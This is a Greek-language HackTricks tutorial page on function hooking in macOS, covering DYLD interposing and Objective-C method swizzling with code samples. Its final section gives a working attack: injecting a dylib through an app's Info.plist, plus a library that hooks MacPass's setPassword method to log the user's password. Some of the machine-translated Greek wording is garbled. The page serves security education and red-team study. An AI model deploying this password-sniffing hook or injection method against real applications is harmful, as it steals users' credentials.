macOS Function Hooking

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστηρίξτε το HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε 💬 στην ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα χάκερ κάνοντας υποβολή PRs στα αποθετήρια HackTricks και HackTricks Cloud.

Ενδιάμεση Συνάρτηση

Δημιουργήστε ένα dylib με ένα τμήμα __interpose (__DATA___interpose) (ή ένα τμήμα με σημαία S_INTERPOSING) που περιέχει ζεύγη δεικτών συναρτήσεων που αναφέρονται στις αρχικές και τις αντικαταστατικές συναρτήσεις.

Στη συνέχεια, ενσωματώστε το dylib με το DYLD_INSERT_LIBRARIES (η ενδιάμεση επέμβαση πρέπει να γίνει πριν τη φόρτωση της κύριας εφαρμογής). Φυσικά, οι περιορισμοί που εφαρμόζονται στη χρήση του DYLD_INSERT_LIBRARIES ισχύουν και εδώ.

Ενδιάμεση επέμβαση στο printf

interpose.c

interpose.c

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };

hello.c

//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}

interpose2.c

// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);

DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

Η μεταβλητή περιβάλλοντος DYLD_PRINT_INTERPOSTING μπορεί να χρησιμοποιηθεί για να εντοπίσει τα σημεία ενδιαμέσου και θα εκτυπώσει τη διαδικασία ενδιαμέσου.

Επίσης, σημειώστε ότι η ενδιαμέσωση συμβαίνει μεταξύ της διεργασίας και των φορτωμένων βιβλιοθηκών, δεν λειτουργεί με την κοινόχρηστη μνήμη βιβλιοθηκών.

Δυναμική Ενδιαμέσωση

Τώρα είναι επίσης δυνατό να γίνει ενδιαμέσωση μιας συνάρτησης δυναμικά χρησιμοποιώντας τη συνάρτηση dyld_dynamic_interpose. Αυτό επιτρέπει την ενδιαμέσωση μιας συνάρτησης προγραμματιστικά κατά τη διάρκεια εκτέλεσης αντί να γίνεται μόνο από την αρχή.

Απλά χρειάζεται να υποδείξετε τα ζεύγη της συνάρτησης που θα αντικατασταθεί και της αντικατάστασης συνάρτησης.

struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

Αντικατάσταση Μεθόδων

Στο ObjectiveC έτσι καλείται μια μέθοδος: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

Χρειάζεται το αντικείμενο, η μέθοδος και τα ορίσματα. Και όταν καλείται μια μέθοδος, ένα μήνυμα στέλνεται χρησιμοποιώντας τη συνάρτηση objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

Το αντικείμενο είναι το someObject, η μέθοδος είναι @selector(method1p1:p2:) και τα ορίσματα είναι value1, value2.

Ακολουθώντας τις δομές των αντικειμένων, είναι δυνατό να φτάσετε σε ένα πίνακα μεθόδων όπου οι ονομασίες και οι δείκτες προς τον κώδικα της μεθόδου βρίσκονται.

Σημειώστε ότι επειδή οι μέθοδοι και οι κλάσεις προσπελαύνονται με βάση τα ονόματά τους, αυτές οι πληροφορίες αποθηκεύονται στο δυαδικό αρχείο, οπότε είναι δυνατό να τις ανακτήσετε με την εντολή otool -ov </path/bin> ή class-dump </path/bin>

Πρόσβαση στις ακατέργαστες μεθόδους

Είναι δυνατό να έχετε πρόσβαση στις πληροφορίες των μεθόδων όπως το όνομα, ο αριθμός των ορισμάτων ή η διεύθυνση όπως στο παρακάτω παράδειγμα:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Αντικατάσταση Μεθόδου με τη μέθοδο method_exchangeImplementations

Η συνάρτηση method_exchangeImplementations επιτρέπει τη αλλαγή της διεύθυνσης της υλοποίησης μιας συνάρτησης με μια άλλη.

Έτσι, όταν καλείται μια συνάρτηση, εκτελείται η άλλη.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

Σε αυτήν την περίπτωση, αν ο κώδικας υλοποίησης της νόμιμης μεθόδου επαληθεύει το όνομα της μεθόδου, θα μπορούσε να ανιχνεύσει αυτήν την αντικατάσταση και να την εμποδίσει από το να εκτελεστεί.

Η ακόλουθη τεχνική δεν έχει αυτόν τον περιορισμό.

Αντικατάσταση Μεθόδου με τη μέθοδο method_setImplementation

Η προηγούμενη μορφή είναι περίεργη επειδή αλλάζετε την υλοποίηση 2 μεθόδων μεταξύ τους. Χρησιμοποιώντας τη συνάρτηση method_setImplementation μπορείτε να αλλάξετε την υλοποίηση μιας μεθόδου με μια άλλη.

Απλά θυμηθείτε να αποθηκεύσετε τη διεύθυνση της υλοποίησης της αρχικής αν πρόκειται να την καλέσετε από τη νέα υλοποίηση πριν την αντικαταστήσετε, διότι αργότερα θα είναι πολύ πιο περίπλοκο να εντοπίσετε αυτήν τη διεύθυνση.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Μεθοδολογία Επίθεσης Hooking

Σε αυτήν τη σελίδα συζητήθηκαν διαφορετικοί τρόποι για το hooking συναρτήσεων. Ωστόσο, αυτοί περιλάμβαναν την εκτέλεση κώδικα μέσα στη διαδικασία για επίθεση.

Για να το κάνετε αυτό, η πιο εύκολη τεχνική που μπορείτε να χρησιμοποιήσετε είναι να ενθερμύνετε ένα Dyld μέσω μεταβλητών περιβάλλοντος ή hijacking. Ωστόσο, υποθέτω ότι αυτό θα μπορούσε επίσης να γίνει μέσω ενθερμύνσεως διεργασίας Dylib.

Ωστόσο, και οι δύο επιλογές είναι περιορισμένες σε μη προστατευμένα δυαδικά/διεργασίες. Ελέγξτε κάθε τεχνική για να μάθετε περισσότερα σχετικά με τους περιορισμούς.

Ωστόσο, μια επίθεση με hooking συνάρτηση είναι πολύ συγκεκριμένη, ένας επιτιθέμενος θα το κάνει αυτό για να κλέψει ευαίσθητες πληροφορίες από μέσα σε μια διαδικασία (αν δεν ήθελε απλά να κάνει μια επίθεση ενθερμύνσεως διεργασίας). Και αυτές οι ευαίσθητες πληροφορίες μπορεί να βρίσκονται σε εφαρμογές που έχει κατεβάσει ο χρήστης, όπως το MacPass.

Έτσι, το διάνυσμα του επιτιθέμενου θα ήταν είτε να βρει μια ευπάθεια είτε να αφαιρέσει την υπογραφή της εφαρμογής, να ενθερμύνει τη μεταβλητή περιβάλλοντος DYLD_INSERT_LIBRARIES μέσω του Info.plist της εφαρμογής προσθέτοντας κάτι σαν:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

και στη συνέχεια επανεγγράψτε την εφαρμογή:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

Προσθέστε σε αυτήν τη βιβλιοθήκη τον κώδικα hooking για να εξαγάγετε τις πληροφορίες: Κωδικοί πρόσβασης, μηνύματα...

Σημειώστε ότι σε νεότερες εκδόσεις του macOS, αν αφαιρέσετε την υπογραφή του δυαδικού αρχείου της εφαρμογής και αυτή εκτελέστηκε προηγουμένως, το macOS δεν θα εκτελέσει πλέον την εφαρμογή.

Παράδειγμα βιβλιοθήκης

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Αναφορές

• https://nshipster.com/method-swizzling/

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστηρίξτε το HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια στο GitHub.